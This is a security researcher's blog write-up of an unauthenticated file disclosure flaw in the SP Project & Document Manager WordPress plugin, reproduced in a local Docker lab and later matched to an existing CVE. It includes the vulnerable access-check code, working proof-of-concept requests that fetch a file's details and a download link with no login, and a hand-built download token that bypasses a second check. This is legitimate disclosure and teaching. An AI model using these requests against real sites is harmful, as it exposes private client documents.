June 30, 2026
I Found an Unauthenticated File Disclosure Bug in a WordPress Plugin — Then Found Out I Was a Few…
Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads

By Shikhali Jamalzade
7 min read
Disclosure Notice: This research was conducted entirely in an isolated, locally-hosted Docker test environment running a fresh install of WordPress and the publicly available "latest-stable" release of the plugin in question, downloaded directly from the official WordPress.org plugin repository. No live, production, or third-party website was accessed, scanned, or tested at any point. All file contents shown are synthetic test data created solely for this research. This write-up is published strictly for educational purposes, after confirming the underlying issue is already publicly tracked in the National Vulnerability Database.
Background
Most of my CVE research starts the same way: pick a plugin with a documented history of vulnerabilities, and audit its other code paths on the theory that a developer who shipped one insecure pattern is statistically likely to have shipped others. This time the target was SP Project & Document Manager (slug: sp-client-document-manager), a WordPress plugin for managing client documents and project files — with a public CVE history stretching back to CVE-2014-9178 (SQL injection) and CVE-2021-24347 (arbitrary file upload).
What follows is the story of a fully independent, fully reproducible finding — and the moment, mid-writeup, I discovered someone had already reported the same root cause a few weeks earlier. I'm publishing the full technical breakdown anyway, because the methodology, the environment-building process, and the honest reconciliation with prior art are the actual point of doing this work in public.
Scope & Method
Parameter Detail Target SP Project & Document Manager v4.71 (latest-stable, WordPress.org) Environment Local, isolated Docker stack — WordPress + MySQL 5.7 Assessment Type White-box source code audit + black-box PoC validation Authorization Self-authorized, isolated local research environment — no live targets Tools grep, MySQL CLI, Firefox DevTools (Network/Console), Docker Compose
Phase 1: Source Identification
I pulled the plugin directly from WordPress.org and started with the pattern I always check first on any plugin: unauthenticated AJAX surface.
unzip sp-client-document-manager.latest-stable.zip -d sp-document
cd sp-document/sp-client-document-manager
grep -rn "wp_ajax_nopriv_" . --include="*.php"unzip sp-client-document-manager.latest-stable.zip -d sp-document
cd sp-document/sp-client-document-manager
grep -rn "wp_ajax_nopriv_" . --include="*.php"The scan returned eleven wp_ajax_nopriv_ registrations — endpoints reachable by anyone, logged in or not:
./ajax.php:19: wp_ajax_nopriv_cdm_file_permissions
./ajax.php:22: wp_ajax_nopriv_cdm_folder_permissions
./ajax.php:25: wp_ajax_nopriv_cdm_project_dropdown
./ajax.php:31: wp_ajax_nopriv_cdm_file_info
./ajax.php:39: wp_ajax_nopriv_cdm_view_file
./ajax.php:42: wp_ajax_nopriv_cdm_file_list
./ajax.php:45: wp_ajax_nopriv_cdm_thumbnails
./ajax.php:52: wp_ajax_nopriv_cdm_add_breadcrumb
./ajax.php:56: wp_ajax_nopriv_cdm_community_login
./ajax.php:62: wp_ajax_nopriv_cdm_community_reset_password
./ajax.php:65: wp_ajax_nopriv_cdm_community_register./ajax.php:19: wp_ajax_nopriv_cdm_file_permissions
./ajax.php:22: wp_ajax_nopriv_cdm_folder_permissions
./ajax.php:25: wp_ajax_nopriv_cdm_project_dropdown
./ajax.php:31: wp_ajax_nopriv_cdm_file_info
./ajax.php:39: wp_ajax_nopriv_cdm_view_file
./ajax.php:42: wp_ajax_nopriv_cdm_file_list
./ajax.php:45: wp_ajax_nopriv_cdm_thumbnails
./ajax.php:52: wp_ajax_nopriv_cdm_add_breadcrumb
./ajax.php:56: wp_ajax_nopriv_cdm_community_login
./ajax.php:62: wp_ajax_nopriv_cdm_community_reset_password
./ajax.php:65: wp_ajax_nopriv_cdm_community_registerTwo stood out immediately given what the plugin is for: cdm_view_file and cdm_file_list. A document manager plugin with unauthenticated file-viewing endpoints is exactly the kind of contradiction worth chasing.
Phase 2: Root Cause Analysis
Inside classes/ajax.php, the access gate for view_file() looked like this:
function view_file($file_id = false) {
global $wpdb, $current_user, $cdm_comments, $cdm_log, $post;
...
$r = $wpdb->get_results($wpdb->prepare(
"SELECT * FROM " . $wpdb->prefix . "sp_cu WHERE id = %d ORDER BY date DESC",
$file_id
), ARRAY_A);
if (cdm_folder_permissions($r[0]['pid']) == 1
or $uid == $r[0]['uid']
or current_user_can('manage_options') == true
or get_option('sp_cu_release_the_kraken') == 1
or !wp_verify_nonce( $_REQUEST['_ckey'], 'cdm-public-download' )) {
if (current_user_can('manage_options') != true && get_option('sp_cu_release_the_kraken') != 1) {
if (($r[0]['pid'] == 0 && $uid != $r[0]['uid'])) {
return 'You do not have access to this file.';
}
}
// ... builds and returns a download link for the file
}
}function view_file($file_id = false) {
global $wpdb, $current_user, $cdm_comments, $cdm_log, $post;
...
$r = $wpdb->get_results($wpdb->prepare(
"SELECT * FROM " . $wpdb->prefix . "sp_cu WHERE id = %d ORDER BY date DESC",
$file_id
), ARRAY_A);
if (cdm_folder_permissions($r[0]['pid']) == 1
or $uid == $r[0]['uid']
or current_user_can('manage_options') == true
or get_option('sp_cu_release_the_kraken') == 1
or !wp_verify_nonce( $_REQUEST['_ckey'], 'cdm-public-download' )) {
if (current_user_can('manage_options') != true && get_option('sp_cu_release_the_kraken') != 1) {
if (($r[0]['pid'] == 0 && $uid != $r[0]['uid'])) {
return 'You do not have access to this file.';
}
}
// ... builds and returns a download link for the file
}
}The last clause of the OR chain is the bug: !wp_verify_nonce($_REQUEST['_ckey'], 'cdm-public-download'). wp_verify_nonce() returns false whenever the supplied nonce is missing or invalid — which is the default state for any unauthenticated visitor who was never issued one. Negating that result turns "no valid nonce" into true, and because it's OR-chained with every legitimate permission check above it, a single missing parameter overrides all of them.
The only thing standing between an anonymous visitor and a file is whether that file's pid (parent folder ID) is 0. Files sitting at the document root are still protected by a secondary ownership check. Files inside any project folder are not.
Phase 3: Building an Isolated Test Environment
To validate this safely and reproducibly, I built a throwaway WordPress install rather than touching any live site.
services:
db:
image: mysql:5.7
command: --innodb-buffer-pool-size=128M --innodb-log-file-size=32M
environment:
MYSQL_ROOT_PASSWORD: rootpass123
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: wppass123
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:latest
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: wppass123
volumes:
- wp_data:/var/www/html
volumes:
db_data:
wp_data:
docker compose up -dservices:
db:
image: mysql:5.7
command: --innodb-buffer-pool-size=128M --innodb-log-file-size=32M
environment:
MYSQL_ROOT_PASSWORD: rootpass123
MYSQL_DATABASE: wordpress
MYSQL_USER: wpuser
MYSQL_PASSWORD: wppass123
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:latest
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_NAME: wordpress
WORDPRESS_DB_USER: wpuser
WORDPRESS_DB_PASSWORD: wppass123
volumes:
- wp_data:/var/www/html
volumes:
db_data:
wp_data:
docker compose up -dAfter installing WordPress, I installed the plugin via the dashboard, embedded its shortcode on a page, created a project folder ("Client Project A"), and uploaded a synthetic test file containing the string Confidential client data - test — standing in for what a real document would contain.
Phase 4: Proof of Concept
With a file sitting inside a project folder (File ID: #2, owner: admin, folder: Client Project A), I opened a private/incognito browser window — no cookies, no session, no prior interaction with the site — and requested:
GET /wp-admin/admin-ajax.php?action=cdm_view_file&id=2GET /wp-admin/admin-ajax.php?action=cdm_view_file&id=2The response, completely unauthenticated:
Download File
June 30, 2026 1:51 pm • File ID: #2
File Name: test2
File Owner: admin
Folder #1: Client Project A
File Type: txt
File Size: 32.00B
Notes: [internal note text]Download File
June 30, 2026 1:51 pm • File ID: #2
File Name: test2
File Owner: admin
Folder #1: Client Project A
File Type: txt
File Size: 32.00B
Notes: [internal note text]A working "Download File" link was included in the response. Clicking it, still from the same unauthenticated private session, retrieved the file in full:
Confidential client data - testConfidential client data - testNo login. No nonce. No interaction with the site prior to this single request. Full file metadata and full file content, for a document belonging to another user, inside a permission-scoped project folder — the exact scenario the plugin's access control was designed to prevent.
As a control, I repeated the same request against a file sitting at the document root (pid = 0) rather than inside a project folder. That request correctly returned "You do not have access to this file." — confirming the secondary root-level ownership check works as intended, and that the vulnerability is specifically scoped to files inside project folders, which is the plugin's primary intended use case.
A Second, Independent Code Path
Before writing up a disclosure report, I went one step further and asked: even if view_file() is patched, is the download mechanism itself safe on its own?
The answer is no, under default configuration. download.php registers its own handler on the init hook, independent of view_file() entirely:
add_action('init', array($cdm_download_file, 'download'), -100);
if ( (is_user_logged_in() && get_option('sp_cu_user_require_login_download') == 1 )
or (get_option('sp_cu_user_require_login_download') == '' or get_option('sp_cu_user_require_login_download') == 0 )){
// ... all permission checks (folder permissions, ownership, nonce) live inside this block
}add_action('init', array($cdm_download_file, 'download'), -100);
if ( (is_user_logged_in() && get_option('sp_cu_user_require_login_download') == 1 )
or (get_option('sp_cu_user_require_login_download') == '' or get_option('sp_cu_user_require_login_download') == 0 )){
// ... all permission checks (folder permissions, ownership, nonce) live inside this block
}I confirmed via direct database query that sp_cu_user_require_login_download does not exist as a row in wp_options on a fresh install — meaning get_option() returns an empty string, which satisfies the second OR branch and skips every permission check inside the block entirely. This is not a misconfiguration; it's the plugin's default, untouched state.
To verify this independently of view_file(), I constructed a download token manually from raw database values, without ever calling the AJAX endpoint:
TOKEN=$(echo -n "2|2026-06-30 13:51:34|secret-test1.txt" | base64 -w0)
GET /wp-admin/admin-ajax.php?cdm-download-file-id=MnwyMDI2LTA2LTMwIDEzOjUxOjM0fHNlY3JldC10ZXN0MS50eHQ=TOKEN=$(echo -n "2|2026-06-30 13:51:34|secret-test1.txt" | base64 -w0)
GET /wp-admin/admin-ajax.php?cdm-download-file-id=MnwyMDI2LTA2LTMwIDEzOjUxOjM0fHNlY3JldC10ZXN0MS50eHQ=From a fresh private browsing session, this returned the complete file content directly as a download — confirming that download.php's authorization logic is independently bypassable, via a different hook (init, not admin-ajax action routing), a different file, and a different root cause from the view_file() issue above.
The Reality Check
Before drafting a disclosure report, I checked the WPScan and NVD databases for this plugin — a step I'd recommend before ever writing one line of a report, and one I almost skipped in the moment of having a fully working PoC.
The plugin has roughly twenty previously disclosed vulnerabilities. One of them, filed only weeks before this research, is CVE-2026–10737: a missing capability check on view_file(), at the same line of code, enabling unauthenticated attackers to obtain file metadata and download links for arbitrary files inside project folders.
It is the same bug. I had independently arrived at the same root cause someone else had already reported.
I want to be precise about what I'm claiming and what I'm not. The view_file() finding in Phase 2–4 above overlaps directly with CVE-2026-10737 and is not a new disclosure. The download.php finding in the section above it is a separate code path, separate file, and separate trigger mechanism — whether it warrants distinct tracking is a judgment call for the people who triage vulnerability reports, not something I'm in a position to assert unilaterally. I'm documenting it transparently rather than overstating its novelty.
Attack Chain Summary
[Attacker — no credentials, no prior session]
│
▼
[1] Identify unauthenticated AJAX surface via wp_ajax_nopriv_ grep
│
▼
[2] Locate negated-nonce OR-chain bypass in view_file() access gate
│
▼
[3] Confirm bypass scoped to files inside project folders (pid != 0)
│
▼
[4] Request admin-ajax.php?action=cdm_view_file&id=<N> — unauthenticated
→ Full file metadata + download link returned
│
▼
[5] Independently confirm download.php's own auth gate is bypassed
by default (unset sp_cu_user_require_login_download option)
│
▼
[6] Construct download token manually, retrieve file directly
→ Full file content obtained, zero authentication, two independent paths[Attacker — no credentials, no prior session]
│
▼
[1] Identify unauthenticated AJAX surface via wp_ajax_nopriv_ grep
│
▼
[2] Locate negated-nonce OR-chain bypass in view_file() access gate
│
▼
[3] Confirm bypass scoped to files inside project folders (pid != 0)
│
▼
[4] Request admin-ajax.php?action=cdm_view_file&id=<N> — unauthenticated
→ Full file metadata + download link returned
│
▼
[5] Independently confirm download.php's own auth gate is bypassed
by default (unset sp_cu_user_require_login_download option)
│
▼
[6] Construct download token manually, retrieve file directly
→ Full file content obtained, zero authentication, two independent pathsWhat This Taught Me
A few things, none of which I expected to learn from a vulnerability that didn't end in a new CVE:
N-day overlap is normal, not a failure. Independently rediscovering a bug someone reported weeks earlier doesn't mean the methodology was flawed — it means the bug was findable through a reasonable, repeatable process. That's useful signal about both the plugin and the approach.
Check existing databases before writing the report, not after. I now treat a WPScan/NVD lookup as a mandatory step before disclosure drafting begins, not an afterthought once a PoC is already polished.
Distinguishing "same bug" from "adjacent bug" matters, and it's not always obvious. The view_file() and download.php issues share a vulnerability class and a plugin, but live in different files, different hooks, and different trigger conditions. Being precise about that distinction — rather than inflating either finding's novelty — is part of doing this work honestly.
The environment-building and validation process is the actual skill being practiced. Standing up an isolated Docker stack, tracing a vulnerable code path from an unauthenticated entry point to confirmed impact, building two independent PoCs, and writing them up accurately — that process transfers to the next audit regardless of whether this particular plugin yields a CVE with my name attached to it.
Final Thoughts
I'm 16, working through CRTA, Web-RTA, and the AD-RTS path toward OSCP, and this is one of many plugin audits I'll run this year. Most won't end in a new CVE — and I think that's worth saying out loud rather than only publishing the wins. This one taught me more about doing security research honestly than it would have if I'd been first.
If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.
All testing was conducted in an isolated, locally-hosted environment using a publicly available plugin release. No live or third-party systems were accessed at any point during this research.